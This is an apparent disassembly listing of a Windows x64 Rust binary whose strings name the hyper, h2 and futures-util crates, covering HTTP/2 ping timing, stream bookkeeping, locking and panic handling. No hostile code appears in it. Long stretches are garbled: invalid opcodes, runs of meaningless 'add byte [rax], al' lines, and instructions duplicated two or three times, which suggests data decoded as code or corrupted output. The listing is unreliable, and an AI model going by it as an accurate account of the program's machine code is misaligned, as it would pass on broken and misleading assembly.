lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2ping.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14012a808]
lea r8, [rsp + 0x30]
mov edx, 0x2b
call fcn.140108600
mov r12, rcx
call fcn.140110270
mov rcx, r12
test al, al
jne 0x14009774a
mov byte [r15 + 0x11], 1
jmp 0x14009774a
movsd qword [rsi + 0x4d0], xmm1
add rax, rax
movabs rdx, 0x5555555555555556
mul rdx
cmp rdx, rcx
jbe 0x140098063
mov r8, qword [rsi + 0x4c0]
mov r9d, dword [rsi + 0x4c8]
cmp r8, 9
ja 0x140097f74
mov eax, dword [rsi + 0x4e4]
inc eax
mov dword [rsi + 0x4e4], eax
cmp eax, 2
jb 0x140097f74
lea rcx, [r9*4]
movabs rdx, 0x44b82fa0a
mov rax, rcx
mul rdx
imul eax, edx, 0x3b9aca00
sub ecx, eax
shr r9d, 7
imul rax, r9, 0x112e0bf
shr rax, 0x2d
lea r8, [rax + r8*4]
mov qword [rsi + 0x4c0], r8
mov dword [rsi + 0x4c8], ecx
mov dword [rsi + 0x4e4], 0
mov r9d, ecx
mov rcx, r13
mov edx, dword [rsp + 0x28]
call fcn.1400f4120
mov r13, rax
mov ecx, edx
mov qword [rbp + 0x38], r13
mov dword [rbp + 0x40], ecx
cmp byte [rsp + 0x2c], 0
jne 0x140097fa6
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400980dd
xor eax, eax
mov rcx, qword [rsp + 0x68]
xchg byte [rcx], al
mov r14, rsi
cmp al, 2
jne 0x1400976e2
mov ebx, 2
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test ebx, ebx
jne 0x1400976d0
mov rcx, qword [rsi + 0x408]
mov edx, r12d
call fcn.14007b0d0
cmp dword [rsi + 0x440], 2
jb 0x140098042
mov qword [rsi + 0x440], 0
mov dword [rsi + 0x44c], 0
mov dword [rsi + 0x454], 0
mov dword [rsi + 0x45c], 1
mov dword [rsi + 0x460], r12d
mov dword [rsi + 0x464], 0
mov dword [rsi + 0x46c], 0
mov dword [rsi + 0x474], 0
mov byte [rsi + 0x47c], 0
mov r14, rsi
jmp 0x1400976e2
mov bpl, 3
mov r14b, 0xa
jmp 0x1400977de
call fcn.140110270
test al, al
jne 0x1400976b7
mov byte [rbp + 0x11], 1
jmp 0x1400976b7
add rcx, rcx
cmp rcx, 0x1000000
mov r12d, 0x1000000
cmovb r12, rcx
mov dword [rsi + 0x4e0], r12d
mov dword [rsi + 0x4e4], 0
mov rax, qword [rsi + 0x4c0]
mov ecx, dword [rsi + 0x4c8]
mov r8, rax
shr r8, 1
shr ecx, 1
lea r9d, [rcx + 0x1dcd6500]
test al, 1
cmove r9d, ecx
mov qword [rsi + 0x4c0], r8
mov dword [rsi + 0x4c8], r9d
mov rcx, r13
mov edx, dword [rsp + 0x28]
call fcn.1400f4120
mov qword [rbp + 0x38], rax
mov dword [rbp + 0x40], edx
xor ebx, ebx
cmp byte [rsp + 0x2c], 0
jne 0x1400976b7
jmp 0x1400976a4
call fcn.140110270
test al, al
jne 0x140097fa6
mov byte [rbp + 0x11], 1
jmp 0x140097fa6
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x140098101
call fcn.1400396d0
mov rax, qword [r14 + 0x48]
test rax, rax
je 0x140098111
mov rcx, qword [r14 + 0x50]
call qword [rax + 0x18]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rsi + 0x4f0], 0x3b9aca00
movupd xmm0, xmmword [rsp + 0x30]
movupd xmm1, xmmword [rsp + 0x40]
movupd xmmword [rsi + 0x4f4], xmm0
movupd xmmword [rsi + 0x504], xmm1
mov eax, dword [rsp + 0x50]
mov dword [rsi + 0x514], eax
mov byte [rbp + 0x60], 1
mov ebx, 1
cmp byte [rsp + 0x2c], 0
jne 0x1400976b7
jmp 0x1400976a4
mov qword [rsi], 3
lea rcx, str.internal_error:_entered_unreachable_code_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadmod.rs
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs8
mov edx, 0x28
call fcn.140108350
lea rcx, str.Map_must_not_be_polled_after_it_returned__Poll::Ready_
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs8
mov edx, 0x36
call fcn.14010cf20
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x1401499d0]
mov edx, 0x28
call fcn.1401086b0
lea rcx, str.pong_received_implies_ping_sent_at
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2ping.rs
mov edx, 0x22
call fcn.1401086b0
lea rcx, str.keep_alive_expects_last_read_at
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2ping.rs
mov edx, 0x1f
call fcn.1401086b0
lea rcx, [0x140115290]
call fcn.140108690
lea rcx, str.bdp_enabled_implies_bytes
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh2ping.rs
mov edx, 0x19
call fcn.1401086b0
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorpd xmm0, xmm0
movupd xmmword [rsp + 0x48], xmm0
lea rdx, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_src_time.rs_
lea rcx, [rsp + 0x30]
call fcn.140108280
int3
lea rdx, [r15 + 1]
movzx eax, byte [r15 + 1]
test al, al
je 0x140098b68
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140099545
xor eax, eax
xchg byte [r15], al
mov dil, 1
cmp al, 2
jne 0x1400994e6
mov rcx, r15
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
jmp 0x1400994e6
mov bl, 1
mov qword [rsp + 0xe8], rdx
mov rdi, qword [rcx + 8]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi], cl
jne 0x140099579
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140099594
xor eax, eax
movzx ecx, byte [rdi + 1]
test cl, cl
jne 0x1400995a7
mov byte [rsp + 0x37], bpl
mov dword [rsp + 0xc4], eax
mov qword [rsp + 0xd8], rdi
mov byte [rsp + 0x36], bl
cmp byte [r15 + 0x180], 3
jne 0x140098c09
lea rdi, [r15 + 0x180]
lea rdx, str.connection_closed_because_of_a_broken_pipeassertion_failed:_sz___super::MAX_WINDOW_SIZE_as_usize
mov r8d, 0x2a
mov cl, 0xb
call fcn.140095880
lea rcx, [rsp + 0x38]
mov rdx, rax
call fcn.14001a420
mov rax, qword [rsp + 0x58]
mov qword [rdi + 0x20], rax
movups xmm0, xmmword [rsp + 0x38]
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
lea rax, [r15 + 8]
mov qword [rsp + 0xa0], rax
lea rax, [r15 + 0x1b8]
mov qword [rsp + 0xb8], rax
mov r12, qword [r15 + 0x210]
test r12, r12
je 0x140098e28
mov rax, qword [rsp + 0xd8]
lea rbx, [rax + 8]
lea r13, [r15 + 0x110]
xor edi, edi
lea rsi, [rsp + 0xc8]
mov qword [rsp + 0xf0], r15
jmp 0x140098c99
cmp r14d, 0x3b9aca00
setne r8b
mov rcx, qword [rsp + 0xa0]
mov rdx, rsi
call fcn.14001fa50
mov rax, qword [r15 + 0x210]
cmp rax, r12
sbb rdi, 0xffffffffffffffff
cmp rax, r12
sbb r12, 0
cmp rdi, r12
jae 0x140098e28
cmp rdi, qword [r15 + 0x1f0]
jae 0x140099715
mov rcx, qword [r15 + 0x1e8]
mov rdx, rdi
shl rdx, 4
mov eax, dword [rcx + rdx + 8]
mov ecx, dword [rcx + rdx + 0xc]
mov rdx, qword [rsp + 0xb8]
mov qword [rsp + 0xc8], rdx
mov dword [rsp + 0xd0], ecx
mov dword [rsp + 0xd4], eax
mov dword [rsp + 0x68], ecx
mov dword [rsp + 0x6c], eax
cmp qword [r15 + 0x1c8], rcx
jbe 0x140099624
mov rbp, qword [r15 + 0x1c0]
imul rcx, rcx, 0x130
cmp dword [rbp + rcx], 2
je 0x140099624
add rbp, rcx
cmp dword [rbp + 0x114], eax
jne 0x140099624
mov r14d, dword [rbp + 0x48]
cmp byte [rbp + 0x50], 6
jb 0x140098d5f
mov r15, rbx
lea rbx, [rbp + 0x50]
call fcn.140025170
lea rcx, [rsp + 0x38]
mov rdx, rax
call fcn.14001a420
mov rax, qword [rsp + 0x58]
mov qword [rbx + 0x20], rax
movups xmm0, xmmword [rsp + 0x38]
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rbx + 0x10], xmm1
movups xmmword [rbx], xmm0
mov rbx, r15
mov r15, qword [rsp + 0xf0]
mov rax, qword [rbp + 0x90]
mov rcx, qword [rbp + 0x98]
mov qword [rbp + 0x90], 0
test rax, rax
je 0x140098d80
call qword [rax + 8]
mov rax, qword [rbp + 0xa8]
mov rcx, qword [rbp + 0xb0]
mov qword [rbp + 0xa8], 0
test rax, rax
je 0x140098da1
call qword [rax + 8]
mov rcx, r13
mov rdx, rbx
mov r8, rsi
call fcn.14008b6e0
mov r8, qword [rsp + 0xc8]
mov edx, dword [rsp + 0xd0]
mov ecx, dword [rsp + 0xd4]
mov dword [rsp + 0x68], edx
mov dword [rsp + 0x6c], ecx
cmp qword [r8 + 0x10], rdx
jbe 0x140099624
mov rax, qword [r8 + 8]
imul rdx, rdx, 0x130
cmp dword [rax + rdx], 2
je 0x140099624
add rax, rdx
cmp dword [rax + 0x114], ecx
jne 0x140099624
mov edx, dword [rax + 0x84]
test edx, edx
jle 0x140098c60
mov dword [rax + 0x84], 0
mov rcx, r13
mov r9, qword [rsp + 0xa0]
call fcn.140021330
jmp 0x140098c60
cmp dword [r15 + 0xb8], 0
je 0x140099008
mov ebx, dword [r15 + 0xc4]
mov edi, dword [r15 + 0xc8]
lea rsi, [rsp + 0xac]
mov ecx, dword [r15 + 0xbc]
mov eax, dword [r15 + 0xc0]
lea r14, [rsp + 0x68]
nop
mov edx, ecx
xor edx, ebx
mov r8d, eax
xor r8d, edi
or r8d, edx
sete r13b
mov edx, ecx
jne 0x140098ee0
mov dword [rsp + 0xa8], ebx
mov dword [rsp + 0xac], edi
mov r8, qword [r15 + 0x1c8]
cmp r8, rdx
jbe 0x14009961a
mov r9, qword [r15 + 0x1c0]
imul r10, rdx, 0x130
cmp dword [r9 + r10], 2
je 0x14009961a
add r10, r9
cmp dword [r10 + 0x114], edi
jne 0x14009961a
cmp dword [r10 + 0xe8], 0
jne 0x140099721
mov dword [r15 + 0xb8], 0
mov r12d, edi
mov ebp, ebx
jmp 0x140098f67
mov dword [rsp + 0xa8], ecx
mov dword [rsp + 0xac], eax
mov r8, qword [r15 + 0x1c8]
cmp r8, rdx
jbe 0x140099633
mov r9, qword [r15 + 0x1c0]
imul r10, rdx, 0x130
cmp dword [r9 + r10], 2
je 0x140099633
add r10, r9
cmp dword [r10 + 0x114], eax
jne 0x140099633
mov ebp, dword [r10 + 0xec]
mov r12d, dword [r10 + 0xf0]
cmp dword [r10 + 0xe8], 0
mov dword [r10 + 0xe8], 0
je 0x140099739
mov dword [r15 + 0xb8], 1
mov dword [r15 + 0xbc], ebp
mov dword [r15 + 0xc0], r12d
mov dword [rsp + 0xa8], ecx
mov dword [rsp + 0xac], eax
cmp r8, rdx
jbe 0x140099633
imul r8, rdx, 0x130
mov byte [r9 + r8 + 0x127], 0
mov r9, qword [rsp + 0xb8]
mov qword [rsp + 0x68], r9
mov dword [rsp + 0x70], ecx
mov dword [rsp + 0x74], eax
mov dword [rsp + 0xa8], ecx
mov dword [rsp + 0xac], eax
cmp qword [r15 + 0x1c8], rdx
jbe 0x14009961a
mov rcx, qword [r15 + 0x1c0]
cmp dword [rcx + r8], 2
je 0x14009961a
add rcx, r8
cmp dword [rcx + 0x114], eax
jne 0x14009961a
cmp dword [rcx + 0x48], 0x3b9aca00
setne r8b
mov rcx, qword [rsp + 0xa0]
mov rdx, r14
call fcn.14001fa50
mov eax, r12d
mov ecx, ebp
test r13b, r13b
je 0x140098e60
lea rdi, [r15 + 0xe0]
lea rbx, [rsp + 0x38]
nop word cs:[rax + rax]
mov rcx, rbx
mov rdx, rdi
mov r8, qword [rsp + 0xb8]
call fcn.1400254a0
cmp qword [rsp + 0x38], 0
je 0x140099050
mov rcx, qword [rsp + 0xa0]
mov rdx, rbx
mov r8b, 1
call fcn.14001fa50
jmp 0x140099020
cmp byte [rsp + 0x37], 0
je 0x1400990a0
lea rdi, [r15 + 0xcc]
lea rbx, [rsp + 0x38]
nop word cs:[rax + rax]
mov rcx, rbx
mov rdx, rdi
mov r8, qword [rsp + 0xb8]
call fcn.140025680
cmp qword [rsp + 0x38], 0
je 0x1400990a0
mov rcx, qword [rsp + 0xa0]
mov rdx, rbx
xor r8d, r8d
call fcn.14001fa50
jmp 0x140099070
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x98], 0
lea rdi, [r15 + 0x134]
lea r12, [rsp + 0xe4]
lea rbx, [rsp + 0xa8]
nop dword [rax]
mov rcx, rbx
mov rdx, rdi
mov r8, qword [rsp + 0xb8]
call fcn.140026120
cmp qword [rsp + 0xa8], 0
je 0x140099160
mov rcx, qword [rsp + 0xa8]
mov edx, dword [rsp + 0xb0]
mov eax, dword [rsp + 0xb4]
mov dword [rsp + 0xe0], edx
mov dword [rsp + 0xe4], eax
cmp qword [rcx + 0x10], rdx
jbe 0x140099689
mov rcx, qword [rcx + 8]
imul rdx, rdx, 0x130
cmp dword [rcx + rdx], 2
je 0x140099689
add rcx, rdx
cmp dword [rcx + 0x114], eax
jne 0x140099689
cmp dword [rcx + 0x48], 0x3b9aca00
setne r8b
mov rcx, qword [rsp + 0xa0]
mov rdx, rbx
call fcn.14001fa50
jmp 0x1400990d0
mov r8, qword [rsp + 0x78]
cmp r8, 2
je 0x140099208
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x88]
test r8, r8
je 0x14009919e
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x78]
cmp r8, 2
je 0x140099208
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x88]
test r8, r8
je 0x140099560
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x80]
lock dec qword [rax]
jne 0x140099208
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
call fcn.140005050
cmp dword [r15 + 0x120], 0
je 0x1400993d6
mov ebx, dword [r15 + 0x12c]
mov edi, dword [r15 + 0x130]
lea rsi, [rsp + 0x6c]
mov ecx, dword [r15 + 0x124]
mov eax, dword [r15 + 0x128]
lea r14, [rsp + 0x38]
nop dword [rax]
mov edx, ecx
xor edx, ebx
mov r8d, eax
xor r8d, edi
or r8d, edx
sete r13b
mov edx, ecx
jne 0x1400992c0
mov dword [rsp + 0x68], ebx
mov dword [rsp + 0x6c], edi
mov r8, qword [r15 + 0x1c8]
add dword [rax], eax
add byte [rcx + 0x39], cl
ror byte [rdi], 1
invalid
lodsd eax, dword [rsi]
add eax, dword [rax]
invalid
add dword [rax], eax
add byte [rcx + 0x39], cl
ror byte [rdi], 1
xchg byte [rbp + 0x4d000003], ch
mov ecx, dword [rdi + 0x1c0]
mov r9, qword [r15 + 0x1c0]
imul r10, rdx, 0x130
cmp dword [r9 + r10], 2
je 0x14009961a
add r10, r9
cmp dword [r10 + 0x114], edi
jne 0x14009961a
cmp dword [r10 + 0xb8], 0
jne 0x140099721
mov dword [r15 + 0x120], 0
mov r12d, edi
mov ebp, ebx
jmp 0x140099341
mov dword [rsp + 0x68], ecx
mov dword [rsp + 0x6c], eax
mov r8, qword [r15 + 0x1c8]
cmp r8, rdx
jbe 0x140099633
mov r9, qword [r15 + 0x1c0]
imul r10, rdx, 0x130
cmp dword [r9 + r10], 2
je 0x140099633
add r10, r9
cmp dword [r10 + 0x114], eax
jne 0x140099633
mov ebp, dword [r10 + 0xbc]
mov r12d, dword [r10 + 0xc0]
cmp dword [r10 + 0xb8], 0
mov dword [r10 + 0xb8], 0
je 0x140099739
mov dword [r15 + 0x120], 1
mov dword [r15 + 0x124], ebp
mov dword [r15 + 0x128], r12d
mov dword [rsp + 0x68], ecx
mov dword [rsp + 0x6c], eax
cmp r8, rdx
jbe 0x140099633
imul r8, rdx, 0x130
mov byte [r9 + r8 + 0x121], 0
mov dword [rsp + 0x68], ecx
mov dword [rsp + 0x6c], eax
cmp qword [r15 + 0x1c8], rdx
jbe 0x14009961a
mov rdx, qword [r15 + 0x1c0]
cmp dword [rdx + r8], 2
je 0x14009961a
add byte [rax], al
add byte [rax], al
add rdx, r8
cmp dword [rdx + 0x114], eax
jne 0x14009961a
cmp dword [rdx + 0x48], 0x3b9aca00
setne r8b
mov rdx, qword [rsp + 0xb8]
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x40], ecx
mov dword [rsp + 0x44], eax
mov rcx, qword [rsp + 0xa0]
mov rdx, r14
call fcn.14001fa50
mov eax, r12d
mov ecx, ebp
test r13b, r13b
je 0x140099240
lea rdi, [r15 + 0x148]
lea r13, [rsp + 0xac]
lea rbx, [rsp + 0x68]
lea r12, [rsp + 0x38]
nop
mov rcx, rbx
mov rdx, rdi
mov r8, qword [rsp + 0xb8]
call fcn.140021c10
mov rax, qword [rsp + 0x68]
test rax, rax
je 0x140099481
mov edx, dword [rsp + 0x70]
mov ecx, dword [rsp + 0x74]
mov dword [rsp + 0xa8], edx
mov dword [rsp + 0xac], ecx
cmp qword [rax + 0x10], rdx
jbe 0x1400996bf
mov r8, qword [rax + 8]
imul r9, rdx, 0x130
cmp dword [r8 + r9], 2
je 0x1400996bf
add r8, r9
cmp dword [r8 + 0x114], ecx
jne 0x1400996bf
cmp dword [r8 + 0x48], 0x3b9aca00
setne r8b
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x40], edx
mov dword [rsp + 0x44], ecx
mov rcx, qword [rsp + 0xa0]
mov rdx, r12
call fcn.14001fa50
jmp 0x1400993f0
cmp byte [rsp + 0xc4], 0
mov rcx, qword [rsp + 0xd8]
jne 0x1400994a6
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400995fe
xor eax, eax
xchg byte [rcx], al
cmp al, 2
movzx ebx, byte [rsp + 0x36]
jne 0x1400994b9
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test bl, bl
je 0x1400994d0
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
add byte [rax - 0x2f], cl
loopne 0x140099510
test eax, eax
jne 0x1400995e1
xor edi, edi
xor eax, eax
xchg byte [r15], al
cmp al, 2
jne 0x1400994e6
mov rcx, r15
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
xor edi, edi
mov eax, edi
add rsp, 0xf8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add byte [rax - 0x2f], cl
loopne 0x14009955d
test eax, eax
je 0x140098b2a
mov rdi, rcx
call fcn.140110270
mov ebx, eax
lea rdx, [r15 + 1]
movzx eax, byte [r15 + 1]
test al, al
je 0x1400995d9
test bl, bl
jne 0x140098b37
jmp 0x140098b4a
mov rdi, rdx
call fcn.140110270
test al, al
jne 0x140098b4a
mov rcx, rdi
mov byte [rdi], 1
jmp 0x140098b4a
cmc
invalid
call qword [rax + 0x80]
cmp dword [r15 + 0x120], 0
jne 0x140099216
add byte [rax], 0
add byte [rcx - 0x7d], al
mov edi, 0x120
add byte [rdi], cl
test dword [rdx - 0x16000004], esp
pop rbp
invalid
jmp 0x1400993d6
mov rcx, rdi
call fcn.1401101b0
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x140098b97
call fcn.140110270
xor al, 1
movzx ecx, byte [rdi + 1]
test cl, cl
je 0x140098ba5
mov qword [rsp + 0x38], rdi
mov byte [rsp + 0x40], al
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013ed28]
lea r8, [rsp + 0x38]
mov edx, 0x2b
call fcn.140108600
mov rcx, rdi
jmp 0x140098b6a
call fcn.140110270
test al, al
jne 0x1400994d0
mov rax, qword [rsp + 0xe8]
mov byte [rax], 1
jmp 0x1400994d0
mov rdi, rcx
call fcn.140110270
mov rcx, rdi
test al, al
jne 0x1400994a6
mov byte [rcx + 1], 1
jmp 0x1400994a6
mov qword [rsp + 0x78], rsi
jmp 0x1400996c4
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x6c]
mov qword [rsp + 0x78], rax
jmp 0x1400996c4
mov qword [rsp + 0x78], rsi
and al, 0x78
lea rax, [0x14001b400]
mov qword [rsp + 0x80], rax
lea rax, str.dangling_store_key_for_stream_id
movabs byte [0x38244489480008ef], al
movabs byte [0x38244489480008ef], al
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x38]
call fcn.140108280
mov qword [rsp + 0x68], r12
lea rax, [0x14001b400]
mov qword [rsp + 0x70], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
and al, 0x40
add dword [rax], eax
add byte [rax], al
and al, 0x40
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x68]
jmp 0x1400996f6
mov qword [rsp + 0x78], r13
and al, 0x78
lea rax, [0x14001b400]
mov qword [rsp + 0x80], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
add byte [rax - 0x73], cl
and al, 0x38
add byte [rax - 0x73], cl
and al, 0x38
call fcn.140108280
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
call fcn.140108690
lea rcx, str.assertion_failed:_N::next_stream_.is_none__
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
mov edx, 0x2c
call fcn.140108350
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
call fcn.140108690
int3
sal al, 0xf
mov al, 0x11
jne 0x1400997ad
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400997c7
movzx eax, byte [rcx + 1]
test al, al
jne 0x14009980b
lea rdi, [rcx + 1]
mov esi, dword [rcx + 0xfc]
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400997f7
xor eax, eax
xchg byte [rcx], al
cmp al, 2
add dh, byte [rbp + 6]
add dh, byte [rbp + 6]
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov eax, esi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
mov rsi, rcx
mov esi, ecx
call fcn.1401101b0
mov rcx, rsi
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x140099770
mov rsi, rcx
call fcn.140110270
movzx edx, byte [rsi + 1]
test dl, dl
jne 0x140099842
mov rcx, rsi
mov esi, dword [rsi + 0xfc]
test al, al
je 0x140099795
lea rdi, [rcx + 1]
mov rax, qword [0x140182308]
add byte [rax - 0x2f], cl
loopne 0x14009983b
test eax, eax
add byte [rax - 0x2f], cl
loopne 0x14009983b
test eax, eax
je 0x140099795
mov rbx, rcx
call fcn.140110270
test al, al
jne 0x140099806
invalid
add eax, esi
invalid
mov byte [rdi], 1
mov rcx, rbx
jmp 0x140099795
mov rsi, rcx
xor eax, eax
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
cmp byte [rax - 0x73], cl
add eax, 0xa4a20
cmp byte [rax - 0x73], cl
add eax, 0xa4a20
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea ecx, str.called__Result::unwrap____on_an__Err__value
lea ecx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013ed08]
lea r8, [rsp + 0x30]
mov edx, 0x2b
add byte [rax], al
call fcn.140108600
xor al, 1
jmp 0x140099810
movq qword [rsp + 0x7c0], mm4
movdqa xmmword [rsp + 0x7b0], xmm11
movdqa xmmword [rsp + 0x7a0], xmm10
movdqa xmmword [rsp + 0x790], xmm9
movdqa xmmword [rsp + 0x780], xmm8
movdqa xmmword [rsp + 0x770], xmm7
movaps xmmword [rsp + 0x760], xmm6
mov r12, r8
mov rdi, rdx
mov qword [rsp + 0xe0], rcx
mov rax, qword [rdx + 0x380]
cmp rax, 2
mov qword [rsp + 0x108], rdx
jne 0x1400998f3
mov rax, qword [rdi + 0x3a0]
mov qword [rsp + 0x2a0], 2
mov dword [rsp + 0x2a0], 2
mov dword [rsp + 0x2a0], 2
mov qword [rsp + 0x2c0], rax
jmp 0x1400999d6
jrcxz 0x1400998f1
add byte [rax], al
jrcxz 0x1400998f1
add byte [rax], al
lea rdx, [rdi + 0x398]
mov rsi, qword [rdi + 0x388]
mov rbx, rdi
sti
sti
mov rdi, qword [rdi + 0x390]
test rax, rax
je 0x140099987
mov rax, qword [rdi + 0x10]
dec rax
and rax, 0xfffffffffffffff0
lea rcx, [rsi + rax]
add rcx, 0x10
call qword [rdi + 0x70]
lock inc qword [rsi]
jle 0x14009cc45
adc byte [r8 - 1], r9b
enter 0xffffffffffff8348, 0xffffffffffffffe0
invalid
mov qword [rsp + 0x2a8], rsi
mov qword [rsp + 0x2b0], rdi
lea rdx, [rsp + 0x2b8]
and al, 0xb8
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rdi*4], ah
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rcx], ah
add dword [rax], eax
add byte [rax - 0x75], cl
and byte [rax + 0x48000003], 0xc7
test byte [rax + riz*4], ah
movabs al, byte [0x4800000001000002]
mov dword [rsp + 0x2c0], eax
and al, 0xb8
add al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rdi*4], ah
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rcx], ah
add dword [rax], eax
add byte [rax - 0x75], cl
and byte [rax + 0x48000003], 0xc7
test byte [rax + riz*4], ah
invalid
add al, byte [rax]
movabs al, byte [0x4800000001000002]
mov dword [rsp + 0x2c0], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rax*8], ah
add al, byte [rax]
add byte [rax - 0x75], cl
adc byte [r8 - 1], r9b
enter 0xffffffffffff8348, 0xffffffffffffffe0
and eax, 0xfffffff0
mov rax, qword [rdi + 0x10]
dec rax
and rax, 0xfffffffffffffff0
and eax, 0xfffffff0
and eax, 0xfffffff0
add rsi, rax
add rsi, 0x10
jmp 0x1400999c8
invalid
mov rcx, rsi
mov rcx, rsi
call qword [rdi + 0x70]
mov qword [rsp + 0x2a8], rsi
mov qword [rsp + 0x2b0], rdi
lea rdx, [rsp + 0x2b8]
mov qword [rsp + 0x2b8], rax
mov dword [rsp + 0x2b8], eax
add al, byte [rax]
add byte [rax - 0x75], cl
and dword [rax + 0x48000003], 0xffffffc7
test byte [rax + riz*4], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rax*8], ah
and al, 0xc0
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x75], cl
and dword [rax + 0x48000003], 0xffffffc7
test byte [rax + riz*4], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rax*8], ah
and al, 0xc0
and al, 0xc0
add al, byte [rax]
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call qword [rdi + 0x60]
mov rdi, qword [rsp + 0x108]
mov qword [rsp + 0x548], 2
mov qword [rsp + 0x568], 0
lea rsi, [rdi + 0x400]
add al, 0
add byte [rax - 0x73], cl
xchg dword [rax + 0x48000003], ebp
mov dword [rsp + 0x2e8], eax
add byte [rax - 0x77], cl
test byte [rax + rbp*8], ah
add al, byte [rax]
add byte [rax - 0x73], cl
xchg dword [rax], ebx
add al, 0
add byte [rax - 0x77], cl
test byte [rax + riz*8], ah
add al, byte [rax]
add byte [rax - 0x73], cl
lea rax, [rdi + 0x3e0]
mov qword [rsp + 0x590], rax
lea rax, [rdi + 0x48]
